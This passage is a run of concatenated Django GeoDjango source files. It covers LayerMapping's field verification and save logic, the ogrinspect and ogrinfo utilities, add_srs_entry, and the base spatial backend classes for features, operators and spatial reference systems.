                ltype = self.layer.geom_type
                if not (ltype.name.startswith(gtype.name) or self.make_multi(ltype, model_field)):
                    raise LayerMapError('Invalid mapping geometry; model has %s%s, '
                                        'layer geometry type is %s.' %
                                        (fld_name, '(dim=3)' if coord_dim == 3 else '', ltype))

                # Setting the `geom_field` attribute w/the name of the model field
                # that is a Geometry.  Also setting the coordinate dimension
                # attribute.
                self.geom_field = field_name
                self.coord_dim = coord_dim
                fields_val = model_field
            elif isinstance(model_field, models.ForeignKey):
                if isinstance(ogr_name, dict):
                    # Is every given related model mapping field in the Layer?
                    rel_model = model_field.remote_field.model
                    for rel_name, ogr_field in ogr_name.items():
                        idx = check_ogr_fld(ogr_field)
                        try:
                            rel_model._meta.get_field(rel_name)
                        except FieldDoesNotExist:
                            raise LayerMapError('ForeignKey mapping field "%s" not in %s fields.' %
                                                (rel_name, rel_model.__class__.__name__))
                    fields_val = rel_model
                else:
                    raise TypeError('ForeignKey mapping must be of dictionary type.')
            else:
                # Is the model field type supported by LayerMapping?
                if model_field.__class__ not in self.FIELD_TYPES:
                    raise LayerMapError('Django field type "%s" has no OGR mapping (yet).' % fld_name)

                # Is the OGR field in the Layer?
                idx = check_ogr_fld(ogr_name)
                ogr_field = ogr_field_types[idx]

                # Can the OGR field type be mapped to the Django field type?
                if not issubclass(ogr_field, self.FIELD_TYPES[model_field.__class__]):
                    raise LayerMapError('OGR field "%s" (of type %s) cannot be mapped to Django %s.' %
                                        (ogr_field, ogr_field.__name__, fld_name))
                fields_val = model_field

            self.fields[field_name] = fields_val

    def check_srs(self, source_srs):
        "Checks the compatibility of the given spatial reference object."

        if isinstance(source_srs, SpatialReference):
            sr = source_srs
        elif isinstance(source_srs, self.spatial_backend.spatial_ref_sys()):
            sr = source_srs.srs
        elif isinstance(source_srs, (int, six.string_types)):
            sr = SpatialReference(source_srs)
        else:
            # Otherwise just pulling the SpatialReference from the layer
            sr = self.layer.srs

        if not sr:
            raise LayerMapError('No source reference system defined.')
        else:
            return sr

    def check_unique(self, unique):
        "Checks the `unique` keyword parameter -- may be a sequence or string."
        if isinstance(unique, (list, tuple)):
            # List of fields to determine uniqueness with
            for attr in unique:
                if attr not in self.mapping:
                    raise ValueError
        elif isinstance(unique, six.string_types):
            # Only a single field passed in.
            if unique not in self.mapping:
                raise ValueError
        else:
            raise TypeError('Unique keyword argument must be set with a tuple, list, or string.')

    # Keyword argument retrieval routines ####
    def feature_kwargs(self, feat):
        """
        Given an OGR Feature, this will return a dictionary of keyword arguments
        for constructing the mapped model.
        """
        # The keyword arguments for model construction.
        kwargs = {}

        # Incrementing through each model field and OGR field in the
        # dictionary mapping.
        for field_name, ogr_name in self.mapping.items():
            model_field = self.fields[field_name]

            if isinstance(model_field, GeometryField):
                # Verify OGR geometry.
                try:
                    val = self.verify_geom(feat.geom, model_field)
                except GDALException:
                    raise LayerMapError('Could not retrieve geometry from feature.')
            elif isinstance(model_field, models.base.ModelBase):
                # The related _model_, not a field was passed in -- indicating
                # another mapping for the related Model.
                val = self.verify_fk(feat, model_field, ogr_name)
            else:
                # Otherwise, verify OGR Field type.
                val = self.verify_ogr_field(feat[ogr_name], model_field)

            # Setting the keyword arguments for the field name with the
            # value obtained above.
            kwargs[field_name] = val

        return kwargs

    def unique_kwargs(self, kwargs):
        """
        Given the feature keyword arguments (from `feature_kwargs`) this routine
        will construct and return the uniqueness keyword arguments -- a subset
        of the feature kwargs.
        """
        if isinstance(self.unique, six.string_types):
            return {self.unique: kwargs[self.unique]}
        else:
            return {fld: kwargs[fld] for fld in self.unique}

    # #### Verification routines used in constructing model keyword arguments. ####
    def verify_ogr_field(self, ogr_field, model_field):
        """
        Verifies if the OGR Field contents are acceptable to the Django
        model field.  If they are, the verified value is returned,
        otherwise the proper exception is raised.
        """
        if (isinstance(ogr_field, OFTString) and
                isinstance(model_field, (models.CharField, models.TextField))):
            if self.encoding:
                # The encoding for OGR data sources may be specified here
                # (e.g., 'cp437' for Census Bureau boundary files).
                val = force_text(ogr_field.value, self.encoding)
            else:
                val = ogr_field.value
            if model_field.max_length and len(val) > model_field.max_length:
                raise InvalidString('%s model field maximum string length is %s, given %s characters.' %
                                    (model_field.name, model_field.max_length, len(val)))
        elif isinstance(ogr_field, OFTReal) and isinstance(model_field, models.DecimalField):
            try:
                # Creating an instance of the Decimal value to use.
                d = Decimal(str(ogr_field.value))
            except DecimalInvalidOperation:
                raise InvalidDecimal('Could not construct decimal from: %s' % ogr_field.value)

            # Getting the decimal value as a tuple.
            dtup = d.as_tuple()
            digits = dtup[1]
            d_idx = dtup[2]  # index where the decimal is

            # Maximum amount of precision, or digits to the left of the decimal.
            max_prec = model_field.max_digits - model_field.decimal_places

            # Getting the digits to the left of the decimal place for the
            # given decimal.
            if d_idx < 0:
                n_prec = len(digits[:d_idx])
            else:
                n_prec = len(digits) + d_idx

            # If we have more than the maximum digits allowed, then throw an
            # InvalidDecimal exception.
            if n_prec > max_prec:
                raise InvalidDecimal(
                    'A DecimalField with max_digits %d, decimal_places %d must '
                    'round to an absolute value less than 10^%d.' %
                    (model_field.max_digits, model_field.decimal_places, max_prec)
                )
            val = d
        elif isinstance(ogr_field, (OFTReal, OFTString)) and isinstance(model_field, models.IntegerField):
            # Attempt to convert any OFTReal and OFTString value to an OFTInteger.
            try:
                val = int(ogr_field.value)
            except ValueError:
                raise InvalidInteger('Could not construct integer from: %s' % ogr_field.value)
        else:
            val = ogr_field.value
        return val

    def verify_fk(self, feat, rel_model, rel_mapping):
        """
        Given an OGR Feature, the related model and its dictionary mapping,
        this routine will retrieve the related model for the ForeignKey
        mapping.
        """
        # TODO: It is expensive to retrieve a model for every record --
        #  explore if an efficient mechanism exists for caching related
        #  ForeignKey models.

        # Constructing and verifying the related model keyword arguments.
        fk_kwargs = {}
        for field_name, ogr_name in rel_mapping.items():
            fk_kwargs[field_name] = self.verify_ogr_field(feat[ogr_name], rel_model._meta.get_field(field_name))

        # Attempting to retrieve and return the related model.
        try:
            return rel_model.objects.using(self.using).get(**fk_kwargs)
        except ObjectDoesNotExist:
            raise MissingForeignKey(
                'No ForeignKey %s model found with keyword arguments: %s' %
                (rel_model.__name__, fk_kwargs)
            )

    def verify_geom(self, geom, model_field):
        """
        Verifies the geometry -- will construct and return a GeometryCollection
        if necessary (for example if the model field is MultiPolygonField while
        the mapped shapefile only contains Polygons).
        """
        # Downgrade a 3D geom to a 2D one, if necessary.
        if self.coord_dim != geom.coord_dim:
            geom.coord_dim = self.coord_dim

        if self.make_multi(geom.geom_type, model_field):
            # Constructing a multi-geometry type to contain the single geometry
            multi_type = self.MULTI_TYPES[geom.geom_type.num]
            g = OGRGeometry(multi_type)
            g.add(geom)
        else:
            g = geom

        # Transforming the geometry with our Coordinate Transformation object,
        # but only if the class variable `transform` is set w/a CoordTransform
        # object.
        if self.transform:
            g.transform(self.transform)

        # Returning the WKT of the geometry.
        return g.wkt

    # #### Other model methods ####
    def coord_transform(self):
        "Returns the coordinate transformation object."
        SpatialRefSys = self.spatial_backend.spatial_ref_sys()
        try:
            # Getting the target spatial reference system
            target_srs = SpatialRefSys.objects.using(self.using).get(srid=self.geo_field.srid).srs

            # Creating the CoordTransform object
            return CoordTransform(self.source_srs, target_srs)
        except Exception as msg:
            new_msg = 'Could not translate between the data source and model geometry: %s' % msg
            six.reraise(LayerMapError, LayerMapError(new_msg), sys.exc_info()[2])

    def geometry_field(self):
        "Returns the GeometryField instance associated with the geographic column."
        # Use `get_field()` on the model's options so that we
        # get the correct field instance if there's model inheritance.
        opts = self.model._meta
        return opts.get_field(self.geom_field)

    def make_multi(self, geom_type, model_field):
        """
        Given the OGRGeomType for a geometry and its associated GeometryField,
        determine whether the geometry should be turned into a GeometryCollection.
        """
        return (geom_type.num in self.MULTI_TYPES and
                model_field.__class__.__name__ == 'Multi%s' % geom_type.django)

    def save(self, verbose=False, fid_range=False, step=False,
             progress=False, silent=False, stream=sys.stdout, strict=False):
        """
        Saves the contents from the OGR DataSource Layer into the database
        according to the mapping dictionary given at initialization.

        Keyword Parameters:
         verbose:
           If set, information will be printed subsequent to each model save
           executed on the database.

         fid_range:
           May be set with a slice or tuple of (begin, end) feature ID's to map
           from the data source.  In other words, this keyword enables the user
           to selectively import a subset range of features in the geographic
           data source.

         step:
           If set with an integer, transactions will occur at every step
           interval. For example, if step=1000, a commit would occur after
           the 1,000th feature, the 2,000th feature etc.

         progress:
           When this keyword is set, status information will be printed giving
           the number of features processed and successfully saved.  By default,
           progress information will pe printed every 1000 features processed,
           however, this default may be overridden by setting this keyword with an
           integer for the desired interval.

         stream:
           Status information will be written to this file handle.  Defaults to
           using `sys.stdout`, but any object with a `write` method is supported.

         silent:
           By default, non-fatal error notifications are printed to stdout, but
           this keyword may be set to disable these notifications.

         strict:
           Execution of the model mapping will cease upon the first error
           encountered.  The default behavior is to attempt to continue.
        """
        # Getting the default Feature ID range.
        default_range = self.check_fid_range(fid_range)

        # Setting the progress interval, if requested.
        if progress:
            if progress is True or not isinstance(progress, int):
                progress_interval = 1000
            else:
                progress_interval = progress

        def _save(feat_range=default_range, num_feat=0, num_saved=0):
            if feat_range:
                layer_iter = self.layer[feat_range]
            else:
                layer_iter = self.layer

            for feat in layer_iter:
                num_feat += 1
                # Getting the keyword arguments
                try:
                    kwargs = self.feature_kwargs(feat)
                except LayerMapError as msg:
                    # Something borked the validation
                    if strict:
                        raise
                    elif not silent:
                        stream.write('Ignoring Feature ID %s because: %s\n' % (feat.fid, msg))
                else:
                    # Constructing the model using the keyword args
                    is_update = False
                    if self.unique:
                        # If we want unique models on a particular field, handle the
                        # geometry appropriately.
                        try:
                            # Getting the keyword arguments and retrieving
                            # the unique model.
                            u_kwargs = self.unique_kwargs(kwargs)
                            m = self.model.objects.using(self.using).get(**u_kwargs)
                            is_update = True

                            # Getting the geometry (in OGR form), creating
                            # one from the kwargs WKT, adding in additional
                            # geometries, and update the attribute with the
                            # just-updated geometry WKT.
                            geom = getattr(m, self.geom_field).ogr
                            new = OGRGeometry(kwargs[self.geom_field])
                            for g in new:
                                geom.add(g)
                            setattr(m, self.geom_field, geom.wkt)
                        except ObjectDoesNotExist:
                            # No unique model exists yet, create.
                            m = self.model(**kwargs)
                    else:
                        m = self.model(**kwargs)

                    try:
                        # Attempting to save.
                        m.save(using=self.using)
                        num_saved += 1
                        if verbose:
                            stream.write('%s: %s\n' % ('Updated' if is_update else 'Saved', m))
                    except Exception as msg:
                        if strict:
                            # Bailing out if the `strict` keyword is set.
                            if not silent:
                                stream.write(
                                    'Failed to save the feature (id: %s) into the '
                                    'model with the keyword arguments:\n' % feat.fid
                                )
                                stream.write('%s\n' % kwargs)
                            raise
                        elif not silent:
                            stream.write('Failed to save %s:\n %s\nContinuing\n' % (kwargs, msg))

                # Printing progress information, if requested.
                if progress and num_feat % progress_interval == 0:
                    stream.write('Processed %d features, saved %d ...\n' % (num_feat, num_saved))

            # Only used for status output purposes -- incremental saving uses the
            # values returned here.
            return num_saved, num_feat

        if self.transaction_decorator is not None:
            _save = self.transaction_decorator(_save)

        nfeat = self.layer.num_feat
        if step and isinstance(step, int) and step < nfeat:
            # Incremental saving is requested at the given interval (step)
            if default_range:
                raise LayerMapError('The `step` keyword may not be used in conjunction with the `fid_range` keyword.')
            beg, num_feat, num_saved = (0, 0, 0)
            indices = range(step, nfeat, step)
            n_i = len(indices)

            for i, end in enumerate(indices):
                # Constructing the slice to use for this step; the last slice is
                # special (e.g, [100:] instead of [90:100]).
                if i + 1 == n_i:
                    step_slice = slice(beg, None)
                else:
                    step_slice = slice(beg, end)

                try:
                    num_feat, num_saved = _save(step_slice, num_feat, num_saved)
                    beg = end
                except Exception:  # Deliberately catch everything
                    stream.write('%s\nFailed to save slice: %s\n' % ('=-' * 20, step_slice))
                    raise
        else:
            # Otherwise, just calling the previously defined _save() function.
            _save()






"""
 This module contains useful utilities for GeoDjango.
"""
from django.contrib.gis.gdal import HAS_GDAL
from django.contrib.gis.utils.wkt import precision_wkt  # NOQA

if HAS_GDAL:
    from django.contrib.gis.utils.ogrinfo import ogrinfo  # NOQA
    from django.contrib.gis.utils.ogrinspect import mapping, ogrinspect  # NOQA
    from django.contrib.gis.utils.srs import add_srs_entry  # NOQA
    from django.core.exceptions import ImproperlyConfigured
    try:
        # LayerMapping requires DJANGO_SETTINGS_MODULE to be set,
        # so this needs to be in try/except.
        from django.contrib.gis.utils.layermapping import LayerMapping, LayerMapError  # NOQA
    except ImproperlyConfigured:
        pass






"""
This module is for inspecting OGR data sources and generating either
models for GeoDjango and/or mapping dictionaries for use with the
`LayerMapping` utility.
"""
from django.contrib.gis.gdal import DataSource
from django.contrib.gis.gdal.field import (
    OFTDate, OFTDateTime, OFTInteger, OFTInteger64, OFTReal, OFTString,
    OFTTime,
)
from django.utils import six
from django.utils.six.moves import zip


def mapping(data_source, geom_name='geom', layer_key=0, multi_geom=False):
    """
    Given a DataSource, generates a dictionary that may be used
    for invoking the LayerMapping utility.

    Keyword Arguments:
     `geom_name` => The name of the geometry field to use for the model.

     `layer_key` => The key for specifying which layer in the DataSource to use;
       defaults to 0 (the first layer).  May be an integer index or a string
       identifier for the layer.

     `multi_geom` => Boolean (default: False) - specify as multigeometry.
    """
    if isinstance(data_source, six.string_types):
        # Instantiating the DataSource from the string.
        data_source = DataSource(data_source)
    elif isinstance(data_source, DataSource):
        pass
    else:
        raise TypeError('Data source parameter must be a string or a DataSource object.')

    # Creating the dictionary.
    _mapping = {}

    # Generating the field name for each field in the layer.
    for field in data_source[layer_key].fields:
        mfield = field.lower()
        if mfield[-1:] == '_':
            mfield += 'field'
        _mapping[mfield] = field
    gtype = data_source[layer_key].geom_type
    if multi_geom:
        gtype.to_multi()
    _mapping[geom_name] = str(gtype).upper()
    return _mapping


def ogrinspect(*args, **kwargs):
    """
    Given a data source (either a string or a DataSource object) and a string
    model name this function will generate a GeoDjango model.

    Usage:

    >>> from django.contrib.gis.utils import ogrinspect
    >>> ogrinspect('/path/to/shapefile.shp','NewModel')

    ...will print model definition to stout

    or put this in a python script and use to redirect the output to a new
    model like:

    $ python generate_model.py > myapp/models.py

    # generate_model.py
    from django.contrib.gis.utils import ogrinspect
    shp_file = 'data/mapping_hacks/world_borders.shp'
    model_name = 'WorldBorders'

    print(ogrinspect(shp_file, model_name, multi_geom=True, srid=4326,
                     geom_name='shapes', blank=True))

    Required Arguments
     `datasource` => string or DataSource object to file pointer

     `model name` => string of name of new model class to create

    Optional Keyword Arguments
     `geom_name` => For specifying the model name for the Geometry Field.
       Otherwise will default to `geom`

     `layer_key` => The key for specifying which layer in the DataSource to use;
       defaults to 0 (the first layer).  May be an integer index or a string
       identifier for the layer.

     `srid` => The SRID to use for the Geometry Field.  If it can be determined,
       the SRID of the datasource is used.

     `multi_geom` => Boolean (default: False) - specify as multigeometry.

     `name_field` => String - specifies a field name to return for the
       `__unicode__`/`__str__` function (which will be generated if specified).

     `imports` => Boolean (default: True) - set to False to omit the
       `from django.contrib.gis.db import models` code from the
       autogenerated models thus avoiding duplicated imports when building
       more than one model by batching ogrinspect()

     `decimal` => Boolean or sequence (default: False).  When set to True
       all generated model fields corresponding to the `OFTReal` type will
       be `DecimalField` instead of `FloatField`.  A sequence of specific
       field names to generate as `DecimalField` may also be used.

     `blank` => Boolean or sequence (default: False).  When set to True all
       generated model fields will have `blank=True`.  If the user wants to
       give specific fields to have blank, then a list/tuple of OGR field
       names may be used.

     `null` => Boolean (default: False) - When set to True all generated
       model fields will have `null=True`.  If the user wants to specify
       give specific fields to have null, then a list/tuple of OGR field
       names may be used.

    Note: This routine calls the _ogrinspect() helper to do the heavy lifting.
    """
    return '\n'.join(s for s in _ogrinspect(*args, **kwargs))


def _ogrinspect(data_source, model_name, geom_name='geom', layer_key=0, srid=None,
                multi_geom=False, name_field=None, imports=True,
                decimal=False, blank=False, null=False):
    """
    Helper routine for `ogrinspect` that generates GeoDjango models corresponding
    to the given data source.  See the `ogrinspect` docstring for more details.
    """
    # Getting the DataSource
    if isinstance(data_source, six.string_types):
        data_source = DataSource(data_source)
    elif isinstance(data_source, DataSource):
        pass
    else:
        raise TypeError('Data source parameter must be a string or a DataSource object.')

    # Getting the layer corresponding to the layer key and getting
    # a string listing of all OGR fields in the Layer.
    layer = data_source[layer_key]
    ogr_fields = layer.fields

    # Creating lists from the `null`, `blank`, and `decimal`
    # keyword arguments.
    def process_kwarg(kwarg):
        if isinstance(kwarg, (list, tuple)):
            return [s.lower() for s in kwarg]
        elif kwarg:
            return [s.lower() for s in ogr_fields]
        else:
            return []
    null_fields = process_kwarg(null)
    blank_fields = process_kwarg(blank)
    decimal_fields = process_kwarg(decimal)

    # Gets the `null` and `blank` keywords for the given field name.
    def get_kwargs_str(field_name):
        kwlist = []
        if field_name.lower() in null_fields:
            kwlist.append('null=True')
        if field_name.lower() in blank_fields:
            kwlist.append('blank=True')
        if kwlist:
            return ', ' + ', '.join(kwlist)
        else:
            return ''

    # For those wishing to disable the imports.
    if imports:
        yield '# This is an auto-generated Django model module created by ogrinspect.'
        yield 'from django.contrib.gis.db import models'
        yield ''

    yield 'class %s(models.Model):' % model_name

    for field_name, width, precision, field_type in zip(
            ogr_fields, layer.field_widths, layer.field_precisions, layer.field_types):
        # The model field name.
        mfield = field_name.lower()
        if mfield[-1:] == '_':
            mfield += 'field'

        # Getting the keyword args string.
        kwargs_str = get_kwargs_str(field_name)

        if field_type is OFTReal:
            # By default OFTReals are mapped to `FloatField`, however, they
            # may also be mapped to `DecimalField` if specified in the
            # `decimal` keyword.
            if field_name.lower() in decimal_fields:
                yield '    %s = models.DecimalField(max_digits=%d, decimal_places=%d%s)' % (
                    mfield, width, precision, kwargs_str
                )
            else:
                yield '    %s = models.FloatField(%s)' % (mfield, kwargs_str[2:])
        elif field_type is OFTInteger:
            yield '    %s = models.IntegerField(%s)' % (mfield, kwargs_str[2:])
        elif field_type is OFTInteger64:
            yield '    %s = models.BigIntegerField(%s)' % (mfield, kwargs_str[2:])
        elif field_type is OFTString:
            yield '    %s = models.CharField(max_length=%s%s)' % (mfield, width, kwargs_str)
        elif field_type is OFTDate:
            yield '    %s = models.DateField(%s)' % (mfield, kwargs_str[2:])
        elif field_type is OFTDateTime:
            yield '    %s = models.DateTimeField(%s)' % (mfield, kwargs_str[2:])
        elif field_type is OFTTime:
            yield '    %s = models.TimeField(%s)' % (mfield, kwargs_str[2:])
        else:
            raise TypeError('Unknown field type %s in %s' % (field_type, mfield))

    # TODO: Autodetection of multigeometry types (see #7218).
    gtype = layer.geom_type
    if multi_geom:
        gtype.to_multi()
    geom_field = gtype.django

    # Setting up the SRID keyword string.
    if srid is None:
        if layer.srs is None:
            srid_str = 'srid=-1'
        else:
            srid = layer.srs.srid
            if srid is None:
                srid_str = 'srid=-1'
            elif srid == 4326:
                # WGS84 is already the default.
                srid_str = ''
            else:
                srid_str = 'srid=%s' % srid
    else:
        srid_str = 'srid=%s' % srid

    yield '    %s = models.%s(%s)' % (geom_name, geom_field, srid_str)

    if name_field:
        yield ''
        yield '    def __%s__(self): return self.%s' % (
            'str' if six.PY3 else 'unicode', name_field)






"""
This module includes some utility functions for inspecting the layout
of a GDAL data source -- the functionality is analogous to the output
produced by the `ogrinfo` utility.
"""

from django.contrib.gis.gdal import DataSource
from django.contrib.gis.gdal.geometries import GEO_CLASSES


def ogrinfo(data_source, num_features=10):
    """
    Walks the available layers in the supplied `data_source`, displaying
    the fields for the first `num_features` features.
    """

    # Checking the parameters.
    if isinstance(data_source, str):
        data_source = DataSource(data_source)
    elif isinstance(data_source, DataSource):
        pass
    else:
        raise Exception('Data source parameter must be a string or a DataSource object.')

    for i, layer in enumerate(data_source):
        print("data source : %s" % data_source.name)
        print("==== layer %s" % i)
        print("  shape type: %s" % GEO_CLASSES[layer.geom_type.num].__name__)
        print("  # features: %s" % len(layer))
        print("         srs: %s" % layer.srs)
        extent_tup = layer.extent.tuple
        print("      extent: %s - %s" % (extent_tup[0:2], extent_tup[2:4]))
        print("Displaying the first %s features ====" % num_features)

        width = max(*map(len, layer.fields))
        fmt = " %%%ss: %%s" % width
        for j, feature in enumerate(layer[:num_features]):
            print("=== Feature %s" % j)
            for fld_name in layer.fields:
                type_name = feature[fld_name].type_name
                output = fmt % (fld_name, type_name)
                val = feature.get(fld_name)
                if val:
                    if isinstance(val, str):
                        val_fmt = ' ("%s")'
                    else:
                        val_fmt = ' (%s)'
                    output += val_fmt % val
                else:
                    output += ' (None)'
                print(output)






from django.contrib.gis.gdal import SpatialReference
from django.db import DEFAULT_DB_ALIAS, connections


def add_srs_entry(srs, auth_name='EPSG', auth_srid=None, ref_sys_name=None,
                  database=None):
    """
    This function takes a GDAL SpatialReference system and adds its information
    to the `spatial_ref_sys` table of the spatial backend.  Doing this enables
    database-level spatial transformations for the backend.  Thus, this utility
    is useful for adding spatial reference systems not included by default with
    the backend:

    >>> from django.contrib.gis.utils import add_srs_entry
    >>> add_srs_entry(3857)

    Keyword Arguments:
     auth_name:
       This keyword may be customized with the value of the `auth_name` field.
       Defaults to 'EPSG'.

     auth_srid:
       This keyword may be customized with the value of the `auth_srid` field.
       Defaults to the SRID determined by GDAL.

     ref_sys_name:
       For SpatiaLite users only, sets the value of the `ref_sys_name` field.
       Defaults to the name determined by GDAL.

     database:
      The name of the database connection to use; the default is the value
      of `django.db.DEFAULT_DB_ALIAS` (at the time of this writing, its value
      is 'default').
    """
    if not database:
        database = DEFAULT_DB_ALIAS
    connection = connections[database]

    if not hasattr(connection.ops, 'spatial_version'):
        raise Exception('The `add_srs_entry` utility only works '
                        'with spatial backends.')
    if not connection.features.supports_add_srs_entry:
        raise Exception('This utility does not support your database backend.')
    SpatialRefSys = connection.ops.spatial_ref_sys()

    # If argument is not a `SpatialReference` instance, use it as parameter
    # to construct a `SpatialReference` instance.
    if not isinstance(srs, SpatialReference):
        srs = SpatialReference(srs)

    if srs.srid is None:
        raise Exception('Spatial reference requires an SRID to be '
                        'compatible with the spatial backend.')

    # Initializing the keyword arguments dictionary for both PostGIS
    # and SpatiaLite.
    kwargs = {'srid': srs.srid,
              'auth_name': auth_name,
              'auth_srid': auth_srid or srs.srid,
              'proj4text': srs.proj4,
              }

    # Backend-specific fields for the SpatialRefSys model.
    srs_field_names = {f.name for f in SpatialRefSys._meta.get_fields()}
    if 'srtext' in srs_field_names:
        kwargs['srtext'] = srs.wkt
    if 'ref_sys_name' in srs_field_names:
        # SpatiaLite specific
        kwargs['ref_sys_name'] = ref_sys_name or srs.name

    # Creating the spatial_ref_sys model.
    try:
        # Try getting via SRID only, because using all kwargs may
        # differ from exact wkt/proj in database.
        SpatialRefSys.objects.using(database).get(srid=srs.srid)
    except SpatialRefSys.DoesNotExist:
        SpatialRefSys.objects.using(database).create(**kwargs)


















"""
A collection of utility routines and classes used by the spatial
backends.
"""


class SpatialOperator(object):
    """
    Class encapsulating the behavior specific to a GIS operation (used by lookups).
    """
    sql_template = None

    def __init__(self, op=None, func=None):
        self.op = op
        self.func = func

    @property
    def default_template(self):
        if self.func:
            return '%(func)s(%(lhs)s, %(rhs)s)'
        else:
            return '%(lhs)s %(op)s %(rhs)s'

    def as_sql(self, connection, lookup, template_params, sql_params):
        sql_template = self.sql_template or lookup.sql_template or self.default_template
        template_params.update({'op': self.op, 'func': self.func})
        return sql_template % template_params, sql_params






from django.contrib.gis import gdal
from django.utils import six
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class SpatialRefSysMixin(object):
    """
    The SpatialRefSysMixin is a class used by the database-dependent
    SpatialRefSys objects to reduce redundant code.
    """
    @property
    def srs(self):
        """
        Returns a GDAL SpatialReference object.
        """
        # TODO: Is caching really necessary here?  Is complexity worth it?
        if hasattr(self, '_srs'):
            # Returning a clone of the cached SpatialReference object.
            return self._srs.clone()
        else:
            # Attempting to cache a SpatialReference object.

            # Trying to get from WKT first.
            try:
                self._srs = gdal.SpatialReference(self.wkt)
                return self.srs
            except Exception as e:
                msg = e

            try:
                self._srs = gdal.SpatialReference(self.proj4text)
                return self.srs
            except Exception as e:
                msg = e

            raise Exception('Could not get OSR SpatialReference from WKT: %s\nError:\n%s' % (self.wkt, msg))

    @property
    def ellipsoid(self):
        """
        Returns a tuple of the ellipsoid parameters:
        (semimajor axis, semiminor axis, and inverse flattening).
        """
        return self.srs.ellipsoid

    @property
    def name(self):
        "Returns the projection name."
        return self.srs.name

    @property
    def spheroid(self):
        "Returns the spheroid name for this spatial reference."
        return self.srs['spheroid']

    @property
    def datum(self):
        "Returns the datum for this spatial reference."
        return self.srs['datum']

    @property
    def projected(self):
        "Is this Spatial Reference projected?"
        return self.srs.projected

    @property
    def local(self):
        "Is this Spatial Reference local?"
        return self.srs.local

    @property
    def geographic(self):
        "Is this Spatial Reference geographic?"
        return self.srs.geographic

    @property
    def linear_name(self):
        "Returns the linear units name."
        return self.srs.linear_name

    @property
    def linear_units(self):
        "Returns the linear units."
        return self.srs.linear_units

    @property
    def angular_name(self):
        "Returns the name of the angular units."
        return self.srs.angular_name

    @property
    def angular_units(self):
        "Returns the angular units."
        return self.srs.angular_units

    @property
    def units(self):
        "Returns a tuple of the units and the name."
        if self.projected or self.local:
            return (self.linear_units, self.linear_name)
        elif self.geographic:
            return (self.angular_units, self.angular_name)
        else:
            return (None, None)

    @classmethod
    def get_units(cls, wkt):
        """
        Return a tuple of (unit_value, unit_name) for the given WKT without
        using any of the database fields.
        """
        return gdal.SpatialReference(wkt).units

    @classmethod
    def get_spheroid(cls, wkt, string=True):
        """
        Class method used by GeometryField on initialization to
        retrieve the `SPHEROID[..]` parameters from the given WKT.
        """
        srs = gdal.SpatialReference(wkt)
        sphere_params = srs.ellipsoid
        sphere_name = srs['spheroid']

        if not string:
            return sphere_name, sphere_params
        else:
            # `string` parameter used to place in format acceptable by PostGIS
            if len(sphere_params) == 3:
                radius, flattening = sphere_params[0], sphere_params[2]
            else:
                radius, flattening = sphere_params
            return 'SPHEROID["%s",%s,%s]' % (sphere_name, radius, flattening)

    def __str__(self):
        """
        Returns the string representation, a 'pretty' OGC WKT.
        """
        return six.text_type(self.srs)






import re
from functools import partial

from django.contrib.gis.db.models import aggregates


class BaseSpatialFeatures(object):
    gis_enabled = True

    # Does the database contain a SpatialRefSys model to store SRID information?
    has_spatialrefsys_table = True

    # Does the backend support the django.contrib.gis.utils.add_srs_entry() utility?
    supports_add_srs_entry = True
    # Does the backend introspect GeometryField to its subtypes?
    supports_geometry_field_introspection = True

    # Does the backend support storing 3D geometries?
    supports_3d_storage = False
    # Reference implementation of 3D functions is:
    # http://postgis.net/docs/PostGIS_Special_Functions_Index.html#PostGIS_3D_Functions
    supports_3d_functions = False
    # Does the database support SRID transform operations?
    supports_transform = True
    # Do geometric relationship operations operate on real shapes (or only on bounding boxes)?
    supports_real_shape_operations = True
    # Can geometry fields be null?
    supports_null_geometries = True
    # Can the the function be applied on geodetic coordinate systems?
    supports_distance_geodetic = True
    supports_length_geodetic = True
    supports_perimeter_geodetic = False
    # Is the database able to count vertices on polygons (with `num_points`)?
    supports_num_points_poly = True

    # The following properties indicate if the database backend support
    # certain lookups (dwithin, left and right, relate, ...)
    supports_distances_lookups = True
    supports_left_right_lookups = False

    # Does the database have raster support?
    supports_raster = False

    # Does the database support a unique index on geometry fields?
    supports_geometry_field_unique_index = True

    @property
    def supports_bbcontains_lookup(self):
        return 'bbcontains' in self.connection.ops.gis_operators

    @property
    def supports_contained_lookup(self):
        return 'contained' in self.connection.ops.gis_operators

    @property
    def supports_crosses_lookup(self):
        return 'crosses' in self.connection.ops.gis_operators

    @property
    def supports_dwithin_lookup(self):
        return 'dwithin' in self.connection.ops.gis_operators

    @property
    def supports_relate_lookup(self):
        return 'relate' in self.connection.ops.gis_operators

    @property
    def supports_isvalid_lookup(self):
        return 'isvalid' in self.connection.ops.gis_operators

    # For each of those methods, the class will have a property named
    # `has_<name>_method` (defined in __init__) which accesses connection.ops
    # to determine GIS method availability.
    geoqueryset_methods = (
        'area', 'bounding_circle', 'centroid', 'difference', 'distance',
        'distance_spheroid', 'envelope', 'force_rhr', 'geohash', 'gml',
        'intersection', 'kml', 'length', 'mem_size', 'num_geom', 'num_points',
        'perimeter', 'point_on_surface', 'reverse', 'scale', 'snap_to_grid',
        'svg', 'sym_difference', 'transform', 'translate', 'union', 'unionagg',
    )

    # Specifies whether the Collect and Extent aggregates are supported by the database
    @property
    def supports_collect_aggr(self):
        return aggregates.Collect not in self.connection.ops.disallowed_aggregates

    @property
    def supports_extent_aggr(self):
        return aggregates.Extent not in self.connection.ops.disallowed_aggregates

    @property
    def supports_make_line_aggr(self):
        return aggregates.MakeLine not in self.connection.ops.disallowed_aggregates

    def __init__(self, *args):
        super(BaseSpatialFeatures, self).__init__(*args)
        for method in self.geoqueryset_methods:
            # Add dynamically properties for each GQS method, e.g. has_force_rhr_method, etc.
            setattr(self.__class__, 'has_%s_method' % method,
                    property(partial(BaseSpatialFeatures.has_ops_method, method=method)))

    def __getattr__(self, name):
        m = re.match(r'has_(\w*)_function$', name)
        if m:
            func_name = m.group(1)
            return func_name not in self.connection.ops.unsupported_functions
        raise AttributeError

    def has_ops_method(self, method):
        return getattr(self.connection.ops, method, False)






class BaseSpatialOperations(object):
    """
    This module holds the base `BaseSpatialBackend` object, which is
    instantiated by each spatial database backend with the features
    it has.
    """
    truncate_params = {}

    # Quick booleans for the type of this spatial backend, and
    # an attribute for the spatial database version tuple (if applicable)
    postgis = False
    spatialite = False
    mysql = False
    oracle = False
    spatial_version = None

    # How the geometry column should be selected.
    select = None

    # Does the spatial database have a geometry or geography type?
    geography = False
    geometry = False

    area = False
    bounding_circle = False
    centroid = False
    difference = False
    distance = False
    distance_sphere = False
